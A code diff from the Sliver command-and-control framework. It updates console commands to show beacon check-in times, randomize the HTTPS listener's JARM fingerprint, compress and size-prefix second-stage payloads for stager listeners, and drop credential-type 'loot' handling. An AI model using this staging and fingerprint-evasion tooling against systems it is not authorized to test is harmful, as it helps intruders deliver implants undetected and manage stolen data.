 		con.Printf(console.Bold+"               PID: %s%d\n", console.Normal, beacon.PID)
 		con.Printf(console.Bold+"                OS: %s%s\n", console.Normal, beacon.OS)
 		con.Printf(console.Bold+"           Version: %s%s\n", console.Normal, beacon.Version)
+		con.Printf(console.Bold+"            Locale: %s%s\n", console.Normal, beacon.Locale)
 		con.Printf(console.Bold+"              Arch: %s%s\n", console.Normal, beacon.Arch)
 		con.Printf(console.Bold+"         Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
 		con.Printf(console.Bold+"    Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
 		con.Printf(console.Bold+"         Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
 		con.Printf(console.Bold+"          Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
 		con.Printf(console.Bold+"            Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
+		con.Printf(console.Bold+"     First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
+		con.Printf(console.Bold+"      Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
+		con.Printf(console.Bold+"      Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
 
 	} else {
 		con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)

client/command/jobs/https.go

@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		EnforceOTP:      !disableOTP,
 		LongPollTimeout: int64(longPollTimeout),
 		LongPollJitter:  int64(longPollJitter),
+		RandomizeJARM:   !ctx.Flags.Bool("disable-randomized-jarm"),
 	})
 	con.Println()
 	if err != nil {

client/command/jobs/jobs.go

@@ -67,6 +67,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 		"Name",
 		"Protocol",
 		"Port",
+		"Stage Profile",
 	})
 
 	var keys []int
@@ -82,6 +83,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
 			job.Name,
 			job.Protocol,
 			fmt.Sprintf("%d", job.Port),
+			job.ProfileName,
 		})
 	}
 	con.Printf("%s\n", tw.Render())

client/command/jobs/stage.go

@@ -19,9 +19,17 @@ package jobs
 */
 
 import (
+	"bytes"
+	"compress/zlib"
 	"context"
+	"encoding/binary"
+	"fmt"
 	"net/url"
+	"path/filepath"
 	"strconv"
+	"strings"
+
+	"github.com/bishopfox/sliver/util/encoders"
 
 	"github.com/bishopfox/sliver/client/command/generate"
 	"github.com/bishopfox/sliver/client/console"
@@ -36,6 +44,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	listenerURL := ctx.Flags.String("url")
 	aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
 	aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
+	prependSize := ctx.Flags.Bool("prepend-size")
+	compress := strings.ToLower(ctx.Flags.String("compress"))
 
 	if profileName == "" || listenerURL == "" {
 		con.PrintErrorf("Missing required flags, see `help stage-listener` for more info\n")
@@ -64,7 +74,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if aesEncryptKey != "" {
 		// check if aes encryption key is correct length
 		if len(aesEncryptKey)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES Key\n")
+			con.PrintErrorf("Incorrect length of AES Key\n")
 			return
 		}
 
@@ -75,7 +85,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 		// check if aes iv is correct length
 		if len(aesEncryptIv)%16 != 0 {
-			con.PrintErrorf("Incorect length of AES IV\n")
+			con.PrintErrorf("Incorrect length of AES IV\n")
 			return
 		}
 
@@ -88,12 +98,34 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
+	switch compress {
+	case "zlib":
+		// use zlib to compress the stage2
+		var compBuff bytes.Buffer
+		zlibWriter := zlib.NewWriter(&compBuff)
+		zlibWriter.Write(stage2)
+		zlibWriter.Close()
+		stage2 = compBuff.Bytes()
+	case "gzip":
+		stage2, _ = encoders.GzipBuf(stage2)
+	case "deflate9":
+		fallthrough
+	case "deflate":
+		stage2 = util.DeflateBuf(stage2)
+	}
+
 	if aesEncrypt {
+		// PreludeEncrypt is vanilla AES, we typically only use it for interoperability with Prelude
+		// but it's also useful here as more advanced cipher modes are often difficult to implement in
+		// a stager.
 		stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
 	}
 
 	switch stagingURL.Scheme {
 	case "http":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting HTTP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -101,6 +133,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
+			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -110,6 +144,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
 	case "https":
+		if prependSize {
+			stage2 = prependPayloadSize(stage2)
+		}
 		cert, key, err := getLocalCertificatePair(ctx)
 		if err != nil {
 			con.Println()
@@ -126,6 +163,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Cert:     cert,
 			Key:      key,
 			ACME:     ctx.Flags.Bool("lets-encrypt"),
+			ProfileName: fmt.Sprintf("%s (Silver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -135,6 +174,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		}
 		con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
 	case "tcp":
+		// Always prepend payload size for TCP stagers
+		stage2 = prependPayloadSize(stage2)
 		ctrl := make(chan bool)
 		con.SpinUntil("Starting TCP staging listener...", ctrl)
 		stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -142,6 +183,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			Data:     stage2,
 			Host:     stagingURL.Hostname(),
 			Port:     uint32(stagingPort),
+			ProfileName: fmt.Sprintf("%s (Sliver name: %s)", profileName,
+				strings.TrimSuffix(profile.GetConfig().FileName, filepath.Ext(profile.GetConfig().FileName))),
 		})
 		ctrl <- true
 		<-ctrl
@@ -161,3 +204,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintInfof("AES IV: %v\n", aesEncryptIv)
 	}
 }
+
+func prependPayloadSize(payload []byte) []byte {
+	payloadSize := uint32(len(payload))
+	lenBuf := make([]byte, 4)
+	binary.LittleEndian.PutUint32(lenBuf, payloadSize)
+	return append(lenBuf, payload...)
+}

client/command/kill/kill.go

@@ -27,7 +27,6 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/bishopfox/sliver/server/core"
 	"github.com/desertbit/grumble"
 )
 
@@ -79,7 +78,6 @@ func KillSession(session *clientpb.Session, ctx *grumble.Context, con *console.S
 		},
 		Force: ctx.Flags.Bool("force"),
 	})
-	core.Sessions.Remove(session.ID)
 	return err
 }
 

client/command/loot/add-credential.go

@@ -1,75 +0,0 @@
-package loot
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/desertbit/grumble"
-)
-
-// LootAddCredentialCmd - Add a credential type loot
-func LootAddCredentialCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	prompt := &survey.Select{
-		Message: "Choose a credential type:",
-		Options: []string{
-			clientpb.CredentialType_API_KEY.String(),
-			clientpb.CredentialType_USER_PASSWORD.String(),
-		},
-	}
-	credType := ""
-	survey.AskOne(prompt, &credType, survey.WithValidator(survey.Required))
-	name := ctx.Flags.String("name")
-	if name == "" {
-		namePrompt := &survey.Input{Message: "Credential Name: "}
-		con.Println()
-		survey.AskOne(namePrompt, &name)
-		con.Println()
-	}
-
-	loot := &clientpb.Loot{
-		Type:       clientpb.LootType_LOOT_CREDENTIAL,
-		Name:       name,
-		Credential: &clientpb.Credential{},
-	}
-
-	switch credType {
-	case clientpb.CredentialType_USER_PASSWORD.String():
-		loot.CredentialType = clientpb.CredentialType_USER_PASSWORD
-		usernamePrompt := &survey.Input{Message: "Username: "}
-		survey.AskOne(usernamePrompt, &loot.Credential.User)
-		passwordPrompt := &survey.Input{Message: "Password: "}
-		survey.AskOne(passwordPrompt, &loot.Credential.Password)
-	case clientpb.CredentialType_API_KEY.String():
-		loot.CredentialType = clientpb.CredentialType_API_KEY
-		usernamePrompt := &survey.Input{Message: "API Key: "}
-		survey.AskOne(usernamePrompt, &loot.Credential.APIKey)
-	}
-
-	loot, err := con.Rpc.LootAdd(context.Background(), loot)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
-}

client/command/loot/fetch.go

@@ -22,7 +22,6 @@ import (
 	"context"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/desertbit/grumble"
 )
 
@@ -33,21 +32,12 @@ func LootFetchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
 	loot, err = con.Rpc.LootContent(context.Background(), loot)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	// Handle loot based on its type
-	switch loot.Type {
-	case clientpb.LootType_LOOT_FILE:
-		PrintLootFile(con.App.Stdout(), loot)
-	case clientpb.LootType_LOOT_CREDENTIAL:
-		PrintLootCredential(con.App.Stdout(), loot)
-	}
-
+	PrintLootFile(loot, con)
 	if ctx.Flags.String("save") != "" {
 		savedTo, err := saveLootToDisk(ctx, loot)
 		if err != nil {

client/command/loot/helpers.go

@@ -27,12 +27,11 @@ import (
 	"context"
 	"errors"
 	"fmt"
-	"path"
+	"path/filepath"
 	"strings"
 	"text/tabwriter"
 
 	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
@@ -53,12 +52,7 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [
 	if len(data) < 1 {
 		return ErrNoLootFileData
 	}
-	var lootType clientpb.LootType
-	if isCredential {
-		lootType = clientpb.LootType_LOOT_CREDENTIAL
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
+
 	var lootFileType clientpb.FileType
 	if isText(data) || strings.HasSuffix(fileName, ".txt") {
 		lootFileType = clientpb.FileType_TEXT
@@ -67,119 +61,41 @@ func AddLootFile(rpc rpcpb.SliverRPCClient, name string, fileName string, data [
 	}
 	loot := &clientpb.Loot{
 		Name:     name,
-		Type:     lootType,
 		FileType: lootFileType,
 		File: &commonpb.File{
-			Name: path.Base(fileName),
+			Name: filepath.Base(fileName),
 			Data: data,
 		},
 	}
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		loot.CredentialType = clientpb.CredentialType_FILE
-	}
+
 	_, err := rpc.LootAdd(context.Background(), loot)
 	return err
 }
 
-// AddLootUserPassword - Add user/password as loot
-func AddLootUserPassword(rpc rpcpb.SliverRPCClient, name string, user string, password string) error {
-	loot := &clientpb.Loot{
-		Name:           name,
-		Type:           clientpb.LootType_LOOT_CREDENTIAL,
-		CredentialType: clientpb.CredentialType_USER_PASSWORD,
-		Credential: &clientpb.Credential{
-			User:     user,
-			Password: password,
-		},
-	}
-	_, err := rpc.LootAdd(context.Background(), loot)
-	return err
-}
-
-// AddLootAPIKey - Add a api key as loot
-func AddLootAPIKey(rpc rpcpb.SliverRPCClient, name string, apiKey string) error {
-	loot := &clientpb.Loot{
-		Name:           name,
-		Type:           clientpb.LootType_LOOT_CREDENTIAL,
-		CredentialType: clientpb.CredentialType_API_KEY,
-		Credential: &clientpb.Credential{
-			APIKey: apiKey,
-		},
-	}
-	_, err := rpc.LootAdd(context.Background(), loot)
-	return err
-}
-
-// SelectCredentials - An interactive menu for the user to select a piece of loot
-func SelectCredentials(con *console.SliverConsoleClient) (*clientpb.Loot, error) {
-	allLoot, err := con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{
-		Type: clientpb.LootType_LOOT_CREDENTIAL,
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-	}
-
-	// Render selection table
-	buf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
-	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.CredentialType, loot.LootID)
-	}
-	table.Flush()
-	options := strings.Split(buf.String(), "\n")
-	options = options[:len(options)-1]
-	if len(options) == 0 {
-		return nil, errors.New("no loot to select from")
-	}
-
-	selected := ""
-	prompt := &survey.Select{
-		Message: "Select a piece of credentials:",
-		Options: options,
-	}
-	err = survey.AskOne(prompt, &selected)
-	if err != nil {
-		return nil, err
-	}
-	for index, value := range options {
-		if value == selected {
-			return allLoot.Loot[index], nil
-		}
-	}
-	return nil, errors.New("loot not found")
-}
-
 // SelectLoot - Interactive menu for the user to select a piece loot (all types)
 func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot, error) {
 
 	// Fetch data with optional filter
-	filter := ctx.Flags.String("filter")
 	var allLoot *clientpb.AllLoot
 	var err error
-	if filter == "" {
-		allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return nil, err
-		}
-	} else {
-		lootType, err := lootTypeFromHumanStr(filter)
-		if err != nil {
-			return nil, ErrInvalidFileType
-		}
-		allLoot, err = rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
-		if err != nil {
-			return nil, err
-		}
+
+	allLoot, err = rpc.LootAll(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		return nil, err
 	}
 
 	// Render selection table
 	buf := bytes.NewBufferString("")
 	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
 	for _, loot := range allLoot.Loot {
-		if loot.Name == loot.File.Name {
-			fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
+		filename := ""
+		if loot.File != nil {
+			filename = loot.File.Name
+		}
+		if loot.Name == filename {
+			fmt.Fprintf(table, "%s\t%s\t\n", loot.Name, loot.ID)
 		} else {
-			fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
+			fmt.Fprintf(table, "%s\t(File name: %s)\t%s\t\n", loot.Name, filename, loot.ID)
 		}
 	}
 	table.Flush()

client/command/loot/local.go

@@ -21,9 +21,9 @@ package loot
 import (
 	"context"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
+	"path/filepath"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -44,35 +44,14 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		name = path.Base(localPath)
 	}
 
-	var lootType clientpb.LootType
-	var err error
-	lootTypeStr := ctx.Flags.String("type")
-	if lootTypeStr != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeStr)
-		if err == ErrInvalidLootType {
-			con.PrintErrorf("Invalid loot type %s\n", lootTypeStr)
-			return
-		}
+	var lootFileType clientpb.FileType
+	if isTextFile(localPath) {
+		lootFileType = clientpb.FileType_TEXT
 	} else {
-		lootType = clientpb.LootType_LOOT_FILE
+		lootFileType = clientpb.FileType_BINARY
 	}
 
-	lootFileTypeStr := ctx.Flags.String("file-type")
-	var lootFileType clientpb.FileType
-	if lootFileTypeStr != "" {
-		lootFileType, err = lootFileTypeFromHumanStr(lootFileTypeStr)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	} else {
-		if isTextFile(localPath) {
-			lootFileType = clientpb.FileType_TEXT
-		} else {
-			lootFileType = clientpb.FileType_BINARY
-		}
-	}
-	data, err := ioutil.ReadFile(localPath)
+	data, err := os.ReadFile(localPath)
 	if err != nil {
 		con.PrintErrorf("Failed to read file %s\n", err)
 		return
@@ -80,16 +59,12 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 
 	loot := &clientpb.Loot{
 		Name:     name,
-		Type:     lootType,
 		FileType: lootFileType,
 		File: &commonpb.File{
-			Name: path.Base(localPath),
+			Name: filepath.Base(localPath),
 			Data: data,
 		},
 	}
-	if lootType == clientpb.LootType_LOOT_CREDENTIAL {
-		loot.CredentialType = clientpb.CredentialType_FILE
-	}
 
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Uploading loot from %s", localPath), ctrl)
@@ -100,5 +75,5 @@ func LootAddLocalCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		con.PrintErrorf("%s\n", err)
 	}
 
-	con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
+	con.PrintInfof("Successfully added loot to server (%s)\n", loot.ID)
 }

client/command/loot/loot.go

@@ -19,113 +19,85 @@ package loot
 */
 
 import (
-	"bytes"
 	"context"
 	"errors"
-	"fmt"
-	"io"
-	"io/ioutil"
 	"os"
 	"path"
 	"strings"
-	"text/tabwriter"
 	"unicode/utf8"
 
 	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
+	"github.com/jedib0t/go-pretty/v6/table"
 )
 
 // LootCmd - The loot root command
 func LootCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	filter := ctx.Flags.String("filter")
-	var allLoot *clientpb.AllLoot
-	var err error
-	if filter == "" {
-		allLoot, err = con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("Failed to fetch loot %s\n", err)
-			return
-		}
-	} else {
-		lootType, err := lootTypeFromHumanStr(filter)
-		if err != nil {
-			con.PrintErrorf("Invalid loot type see --help")
-			return
-		}
-		allLoot, err = con.Rpc.LootAllOf(context.Background(), &clientpb.Loot{Type: lootType})
-		if err != nil {
-			con.PrintErrorf("Failed to fetch loot %s\n", err)
-			return
-		}
+	allLoot, err := con.Rpc.LootAll(context.Background(), &commonpb.Empty{})
+	if err != nil {
+		con.PrintErrorf("Failed to fetch loot %s\n", err)
+		return
 	}
-	if filter == "" {
-		PrintAllLootTable(con.App.Stdout(), allLoot)
-	} else {
-		lootType, _ := lootTypeFromHumanStr(filter)
-		switch lootType {
-		case clientpb.LootType_LOOT_FILE:
-			PrintAllFileLootTable(con.App.Stdout(), allLoot)
-		case clientpb.LootType_LOOT_CREDENTIAL:
-			PrintAllCredentialLootTable(con.App.Stdout(), allLoot)
+	PrintAllFileLootTable(allLoot, con)
+}
+
+// PrintAllFileLootTable - Displays a table of all file loot
+func PrintAllFileLootTable(allLoot *clientpb.AllLoot, con *console.SliverConsoleClient) {
+	if allLoot == nil || len(allLoot.Loot) == 0 {
+		con.PrintInfof("No loot 🙁\n")
+		return
+	}
+	tw := table.NewWriter()
+	tw.SetStyle(settings.GetTableStyle(con))
+	tw.AppendHeader(table.Row{
+		"ID",
+		"Name",
+		"File Name",
+		"Type",
+		"Size",
+	})
+	for _, loot := range allLoot.Loot {
+		if loot.File != nil {
+			tw.AppendRow(table.Row{
+				strings.Split(loot.ID, "-")[0],
+				loot.Name,
+				loot.File.Name,
+				fileTypeToStr(loot.FileType),
+				util.ByteCountBinary(loot.Size),
+			})
 		}
 	}
+	con.Printf("%s\n", tw.Render())
 }
 
 // PrintLootFile - Display the contents of a piece of loot
-func PrintLootFile(stdout io.Writer, loot *clientpb.Loot) {
+func PrintLootFile(loot *clientpb.Loot, con *console.SliverConsoleClient) {
 	if loot.File == nil {
 		return
 	}
-	fmt.Fprintln(stdout)
-
 	if loot.File.Name != "" {
-		fmt.Fprintf(stdout, "%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
+		con.PrintInfof("%sFile Name:%s %s\n\n", console.Bold, console.Normal, loot.File.Name)
 	}
 	if loot.File.Data != nil && 0 < len(loot.File.Data) {
 		if loot.FileType == clientpb.FileType_TEXT || isText(loot.File.Data) {
-			fmt.Fprintf(stdout, "%s", string(loot.File.Data))
+			con.Printf("%s\n", string(loot.File.Data))
 		} else {
-			fmt.Fprintf(stdout, "<%d bytes of binary data>\n", len(loot.File.Data))
+			con.PrintInfof("<%d bytes of binary data>\n", len(loot.File.Data))
 		}
 	} else {
-		fmt.Fprintf(stdout, "No file data\n")
-	}
-}
-
-func PrintLootCredential(stdout io.Writer, loot *clientpb.Loot) {
-	stdout.Write([]byte("\n"))
-	switch loot.CredentialType {
-	case clientpb.CredentialType_USER_PASSWORD:
-		if loot.Credential != nil {
-			fmt.Fprintf(stdout, "%s    User:%s %s\n", console.Bold, console.Normal, loot.Credential.User)
-			fmt.Fprintf(stdout, "%sPassword:%s %s\n", console.Bold, console.Normal, loot.Credential.Password)
-		}
-		if loot.File != nil {
-			PrintLootFile(stdout, loot)
-		}
-	case clientpb.CredentialType_API_KEY:
-		if loot.Credential != nil {
-			fmt.Fprintf(stdout, "%sAPI Key:%s %s\n", console.Bold, console.Normal, loot.Credential.APIKey)
-		}
-		if loot.File != nil {
-			PrintLootFile(stdout, loot)
-		}
-	case clientpb.CredentialType_FILE:
-		if loot.File != nil {
-			PrintLootFile(stdout, loot)
-		}
-	default:
-		fmt.Fprintf(stdout, "%v\n", loot.Credential) // Well, let's give it our best
+		con.PrintInfof("No file data\n")
 	}
 }
 
 // Any loot with a "File" can be saved to disk
 func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
 	if loot.File == nil {
-		return "", errors.New("Loot does not contain a file")
+		return "", errors.New("loot does not contain a file")
 	}
 
 	saveTo := ctx.Flags.String("save")
@@ -144,153 +116,10 @@ func saveLootToDisk(ctx *grumble.Context, loot *clientpb.Loot) (string, error) {
 			return "", nil
 		}
 	}
-	err = ioutil.WriteFile(saveTo, loot.File.Data, 0600)
+	err = os.WriteFile(saveTo, loot.File.Data, 0600)
 	return saveTo, err
 }
 
-// PrintAllLootTable - Displays a table of all loot
-func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
-	if allLoot == nil || len(allLoot.Loot) == 0 {
-		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
-		return
-	}
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Type")),
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("File Name")),
-		strings.Repeat("=", len("UUID")),
-	)
-	for _, loot := range allLoot.Loot {
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
-	}
-
-	table.Flush()
-	fmt.Fprintf(stdout, outputBuf.String())
-}
-
-// PrintAllFileLootTable - Displays a table of all file loot
-func PrintAllFileLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
-	if allLoot == nil || len(allLoot.Loot) == 0 {
-		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
-		return
-	}
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tFile Name\tSize\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Type")),
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("File Name")),
-		strings.Repeat("=", len("Size")),
-		strings.Repeat("=", len("UUID")),
-	)
-	for _, loot := range allLoot.Loot {
-		if loot.Type != clientpb.LootType_LOOT_FILE {
-			continue
-		}
-		size := 0
-		name := ""
-		if loot.File != nil {
-			name = loot.File.Name
-			size = len(loot.File.Data)
-		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%d\t%s\t\n",
-			fileTypeToStr(loot.FileType),
-			loot.Name,
-			name,
-			size,
-			loot.LootID,
-		)
-	}
-
-	table.Flush()
-	fmt.Fprintf(stdout, outputBuf.String())
-}
-
-// PrintAllCredentialLootTable - Displays a table of all credential loot
-func PrintAllCredentialLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
-	if allLoot == nil || len(allLoot.Loot) == 0 {
-		fmt.Fprintf(stdout, console.Info+"No loot 🙁\n")
-		return
-	}
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	fmt.Fprintln(table, "Type\tName\tUser\tPassword\tAPI Key\tFile Name\tUUID\t")
-	fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-		strings.Repeat("=", len("Type")),
-		strings.Repeat("=", len("Name")),
-		strings.Repeat("=", len("User")),
-		strings.Repeat("=", len("Password")),
-		strings.Repeat("=", len("API Key")),
-		strings.Repeat("=", len("File Name")),
-		strings.Repeat("=", len("UUID")),
-	)
-	for _, loot := range allLoot.Loot {
-		if loot.Type != clientpb.LootType_LOOT_CREDENTIAL {
-			continue
-		}
-		fileName := ""
-		if loot.File != nil {
-			fileName = loot.File.Name
-		}
-		user := ""
-		password := ""
-		apiKey := ""
-		if loot.Credential != nil {
-			user = loot.Credential.User
-			password = loot.Credential.Password
-			apiKey = loot.Credential.APIKey
-		}
-		fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\t\n",
-			credentialTypeToString(loot.CredentialType),
-			loot.Name,
-			user,
-			password,
-			apiKey,
-			fileName,
-			loot.LootID,
-		)
-	}
-	table.Flush()
-	fmt.Fprintf(stdout, outputBuf.String())
-}
-
-func lootTypeToStr(value clientpb.LootType) string {
-	switch value {
-	case clientpb.LootType_LOOT_FILE:
-		return "File"
-	case clientpb.LootType_LOOT_CREDENTIAL:
-		return "Credential"
-	default:
-		return ""
-	}
-}
-
-func credentialTypeToString(value clientpb.CredentialType) string {
-	switch value {
-	case clientpb.CredentialType_API_KEY:
-		return "API Key"
-	case clientpb.CredentialType_USER_PASSWORD:
-		return "User/Password"
-	case clientpb.CredentialType_FILE:
-		return "File"
-	default:
-		return ""
-	}
-}
-
 func fileTypeToStr(value clientpb.FileType) string {
 	switch value {
 	case clientpb.FileType_BINARY:
@@ -328,32 +157,6 @@ func lootFileTypeFromHumanStr(value string) (clientpb.FileType, error) {
 	}
 }
 
-func lootTypeFromHumanStr(value string) (clientpb.LootType, error) {
-	switch strings.ToLower(value) {
-
-	case "c":
-		fallthrough
-	case "cred":
-		fallthrough
-	case "creds":
-		fallthrough
-	case "credentials":
-		fallthrough
-	case "credential":
-		return clientpb.LootType_LOOT_CREDENTIAL, nil
-
-	case "f":
-		fallthrough
-	case "files":
-		fallthrough
-	case "file":
-		return clientpb.LootType_LOOT_FILE, nil
-
-	default:
-		return -1, ErrInvalidLootType
-	}
-}
-
 // Taken from: https://cs.opensource.google/go/x/tools/+/refs/tags/v0.1.4:godoc/util/util.go;l=69
 
 // textExt[x] is true if the extension x indicates a text file, and false otherwise.

client/command/loot/remote.go

@@ -37,27 +37,6 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
-func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
-	var lootType clientpb.LootType
-	var err error
-
-	if lootTypeInput != "" {
-		lootType, err = lootTypeFromHumanStr(lootTypeInput)
-		if err != nil {
-			/*
-				If we get an error, that means that this loot type was invalid.
-				We will leave it up to the caller to handle the error (output it
-				to the console for example)
-			*/
-			return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
-		}
-	} else {
-		lootType = clientpb.LootType_LOOT_FILE
-	}
-
-	return lootType, err
-}
-
 func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
